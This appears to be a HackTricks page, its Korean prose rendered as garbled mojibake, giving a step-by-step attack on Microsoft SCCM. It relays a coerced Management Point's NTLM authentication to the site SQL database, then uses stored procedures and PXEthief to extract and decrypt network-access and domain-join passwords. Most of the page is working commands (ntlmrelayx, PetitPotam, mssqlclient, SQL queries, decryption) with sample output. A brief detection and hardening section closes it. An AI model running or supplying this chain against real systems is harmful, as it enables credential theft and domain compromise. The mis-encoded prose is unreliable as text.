SCCM Management Point NTLM Relay to SQL โ€“ OSD Policy Secret Extraction

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

TL;DR

**System Center Configuration Manager (SCCM) Management Point (MP)**๊ฐ€ SMB/RPC๋ฅผ ํ†ตํ•ด ์ธ์ฆํ•˜๋„๋ก ๊ฐ•์ œํ•˜๊ณ  ํ•ด๋‹น NTLM ๋จธ์‹  ๊ณ„์ •์„ **์‚ฌ์ดํŠธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค (MSSQL)**์— ์ค‘๊ณ„ํ•˜๋ฉด smsdbrole_MP / smsdbrole_MPUserSvc ๊ถŒํ•œ์„ ์–ป์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์—ญํ• ์€ ์šด์˜ ์ฒด์ œ ๋ฐฐํฌ (OSD) ์ •์ฑ… ๋ธ”๋กญ(๋„คํŠธ์›Œํฌ ์•ก์„ธ์Šค ๊ณ„์ • ์ž๊ฒฉ ์ฆ๋ช…, ์ž‘์—… ์‹œํ€€์Šค ๋ณ€์ˆ˜ ๋“ฑ)์„ ๋…ธ์ถœํ•˜๋Š” ์ผ๋ จ์˜ ์ €์žฅ ํ”„๋กœ์‹œ์ €๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ๋ธ”๋กญ์€ 16์ง„์ˆ˜๋กœ ์ธ์ฝ”๋”ฉ/์•”ํ˜ธํ™”๋˜์–ด ์žˆ์ง€๋งŒ PXEthief๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋””์ฝ”๋”ฉ ๋ฐ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์–ด ํ‰๋ฌธ ๋น„๋ฐ€์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณ ์ˆ˜์ค€ ์ฒด์ธ:

  1. MP ๋ฐ ์‚ฌ์ดํŠธ DB ๋ฐœ๊ฒฌ โ†ฆ ์ธ์ฆ๋˜์ง€ ์•Š์€ HTTP ์—”๋“œํฌ์ธํŠธ /SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA.
  2. ntlmrelayx.py -t mssql://<SiteDB> -ts -socks ์‹œ์ž‘.
  3. PetitPotam, PrinterBug, DFSCoerce ๋“ฑ์„ ์‚ฌ์šฉํ•˜์—ฌ MP ๊ฐ•์ œ.
  4. SOCKS ํ”„๋ก์‹œ๋ฅผ ํ†ตํ•ด mssqlclient.py -windows-auth๋กœ ์ค‘๊ณ„๋œ \$ ๊ณ„์ •์œผ๋กœ ์—ฐ๊ฒฐ.
  5. ์‹คํ–‰:
  • use CM_<SiteCode>
  • exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''
  • exec MP_GetPolicyBody N'<PolicyID>',N'<Version>' (๋˜๋Š” MP_GetPolicyBodyAfterAuthorization)
  1. 0xFFFE BOM ์ œ๊ฑฐ, xxd -r -p โ†’ XML โ†’ python3 pxethief.py 7 <hex>.

OSDJoinAccount/OSDJoinPassword, NetworkAccessUsername/Password ๋“ฑ์˜ ๋น„๋ฐ€์ด PXE๋‚˜ ํด๋ผ์ด์–ธํŠธ์— ์†๋Œ€์ง€ ์•Š๊ณ  ๋ณต๊ตฌ๋ฉ๋‹ˆ๋‹ค.


1. ์ธ์ฆ๋˜์ง€ ์•Š์€ MP ์—”๋“œํฌ์ธํŠธ ์—ด๊ฑฐ

MP ISAPI ํ™•์žฅ GetAuth.dll์€ ์ธ์ฆ์ด ํ•„์š” ์—†๋Š” ์—ฌ๋Ÿฌ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค(์‚ฌ์ดํŠธ๊ฐ€ PKI ์ „์šฉ์ด ์•„๋‹Œ ๊ฒฝ์šฐ):

๋งค๊ฐœ๋ณ€์ˆ˜๋ชฉ์ 
MPKEYINFORMATIONMEDIA์‚ฌ์ดํŠธ ์„œ๋ช… ์ธ์ฆ์„œ ๊ณต๊ฐœ ํ‚ค + x86 / x64 ๋ชจ๋“  ์•Œ ์ˆ˜ ์—†๋Š” ์ปดํ“จํ„ฐ ์žฅ์น˜์˜ GUID๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.
MPLIST์‚ฌ์ดํŠธ์˜ ๋ชจ๋“  ๊ด€๋ฆฌ ์ง€์ ์„ ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค.
SITESIGNCERT๊ธฐ๋ณธ ์‚ฌ์ดํŠธ ์„œ๋ช… ์ธ์ฆ์„œ๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค( LDAP ์—†์ด ์‚ฌ์ดํŠธ ์„œ๋ฒ„ ์‹๋ณ„).

๋‚˜์ค‘์— DB ์ฟผ๋ฆฌ๋ฅผ ์œ„ํ•ด clientID ์—ญํ• ์„ ํ•  GUID๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค:

curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -

2. MP ๋จธ์‹  ๊ณ„์ •์„ MSSQL๋กœ ๋ฆด๋ ˆ์ดํ•˜๊ธฐ

# 1. Start the relay listener (SMBโ†’TDS)
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support

# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10

๊ฐ•์ œ ์‹คํ–‰์ด ๋ฐœ์ƒํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‚ด์šฉ์„ ๋ณผ ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)

3. ์ €์žฅ ํ”„๋กœ์‹œ์ €๋ฅผ ํ†ตํ•ด OSD ์ •์ฑ… ์‹๋ณ„

SOCKS ํ”„๋ก์‹œ๋ฅผ ํ†ตํ•ด ์—ฐ๊ฒฐ (๊ธฐ๋ณธ ํฌํŠธ 1080):

proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth

CM_ DB๋กœ ์ „ํ™˜ํ•ฉ๋‹ˆ๋‹ค(3์ž๋ฆฌ ์‚ฌ์ดํŠธ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค, ์˜ˆ: CM_001).

3.1 ์•Œ ์ˆ˜ ์—†๋Š” ์ปดํ“จํ„ฐ GUID ์ฐพ๊ธฐ (์„ ํƒ ์‚ฌํ•ญ)

USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86

3.2 ํ• ๋‹น๋œ ์ •์ฑ… ๋ชฉ๋ก

EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';

๊ฐ ํ–‰์€ PolicyAssignmentID, Body (hex), PolicyID, PolicyVersion์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

์ •์ฑ…์— ์ง‘์ค‘ํ•˜์„ธ์š”:

  • NAAConfig โ€“ ๋„คํŠธ์›Œํฌ ์•ก์„ธ์Šค ๊ณ„์ • ์ž๊ฒฉ ์ฆ๋ช…
  • TS_Sequence โ€“ ์ž‘์—… ์‹œํ€€์Šค ๋ณ€์ˆ˜ (OSDJoinAccount/Password)
  • CollectionSettings โ€“ ์‹คํ–‰ ๊ณ„์ •์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

3.3 ์ „์ฒด ๋ณธ๋ฌธ ๊ฒ€์ƒ‰

์ด๋ฏธ PolicyID ๋ฐ PolicyVersion์ด ์žˆ๋Š” ๊ฒฝ์šฐ ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ clientID ์š”๊ตฌ ์‚ฌํ•ญ์„ ๊ฑด๋„ˆ๋›ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';

์ค‘์š”: SSMS์—์„œ โ€œ๊ฐ€์ ธ์˜จ ์ตœ๋Œ€ ๋ฌธ์žโ€œ๋ฅผ ์ฆ๊ฐ€์‹œํ‚ค์„ธ์š” (>65535) ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด blob์ด ์ž˜๋ฆฝ๋‹ˆ๋‹ค.


4. blob ๋””์ฝ”๋“œ ๋ฐ ๋ณตํ˜ธํ™”

# Remove the UTF-16 BOM, convert from hex โ†’ XML
echo 'fffe3c003f0078โ€ฆ' | xxd -r -p > policy.xml

# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)

๋ณต๊ตฌ๋œ ๋น„๋ฐ€ ์˜ˆ:

OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123

5. ๊ด€๋ จ SQL ์—ญํ•  ๋ฐ ์ ˆ์ฐจ

๋ฆด๋ ˆ์ด ์‹œ ๋กœ๊ทธ์ธ์€ ๋‹ค์Œ์— ๋งคํ•‘๋ฉ๋‹ˆ๋‹ค:

  • smsdbrole_MP
  • smsdbrole_MPUserSvc

์ด ์—ญํ• ์€ ์ˆ˜์‹ญ ๊ฐœ์˜ EXEC ๊ถŒํ•œ์„ ๋…ธ์ถœํ•˜๋ฉฐ, ์ด ๊ณต๊ฒฉ์— ์‚ฌ์šฉ๋˜๋Š” ์ฃผ์š” ๊ถŒํ•œ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

์ €์žฅ ํ”„๋กœ์‹œ์ €๋ชฉ์ 
MP_GetMachinePolicyAssignmentsclientID์— ์ ์šฉ๋œ ์ •์ฑ… ๋ชฉ๋ก.
MP_GetPolicyBody / MP_GetPolicyBodyAfterAuthorization์ „์ฒด ์ •์ฑ… ๋ณธ๋ฌธ ๋ฐ˜ํ™˜.
MP_GetListOfMPsInSiteOSDMPKEYINFORMATIONMEDIA ๊ฒฝ๋กœ์— ์˜ํ•ด ๋ฐ˜ํ™˜๋จ.

์ „์ฒด ๋ชฉ๋ก์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

SELECT pr.name
FROM   sys.database_principals AS dp
JOIN   sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN   sys.objects AS pr ON pr.object_id = pe.major_id
WHERE  dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND  pe.permission_name='EXECUTE';

6. ํƒ์ง€ ๋ฐ ๊ฐ•ํ™”

  1. MP ๋กœ๊ทธ์ธ ๋ชจ๋‹ˆํ„ฐ๋ง โ€“ ํ˜ธ์ŠคํŠธ๊ฐ€ ์•„๋‹Œ IP์—์„œ ๋กœ๊ทธ์ธํ•˜๋Š” MP ์ปดํ“จํ„ฐ ๊ณ„์ • โ‰ˆ ๋ฆด๋ ˆ์ด.
  2. ์‚ฌ์ดํŠธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ์ธ์ฆ์„ ์œ„ํ•œ ํ™•์žฅ ๋ณดํ˜ธ (EPA) ํ™œ์„ฑํ™” (PREVENT-14).
  3. ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” NTLM ๋น„ํ™œ์„ฑํ™”, SMB ์„œ๋ช… ๊ฐ•์ œ, RPC ์ œํ•œ ( PetitPotam/PrinterBug์— ๋Œ€ํ•ด ์‚ฌ์šฉ๋œ ๋™์ผํ•œ ์™„ํ™” ์กฐ์น˜).
  4. IPSec / ์ƒํ˜ธ TLS๋กœ MP โ†” DB ํ†ต์‹  ๊ฐ•ํ™”.

์ถ”๊ฐ€ ์ •๋ณด

  • NTLM ๋ฆด๋ ˆ์ด ๊ธฐ์ดˆ:

NTLM

  • MSSQL ๋‚จ์šฉ ๋ฐ ์‚ฌํ›„ ํ™œ์šฉ:

MSSQL AD Abuse

์ฐธ๊ณ  ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ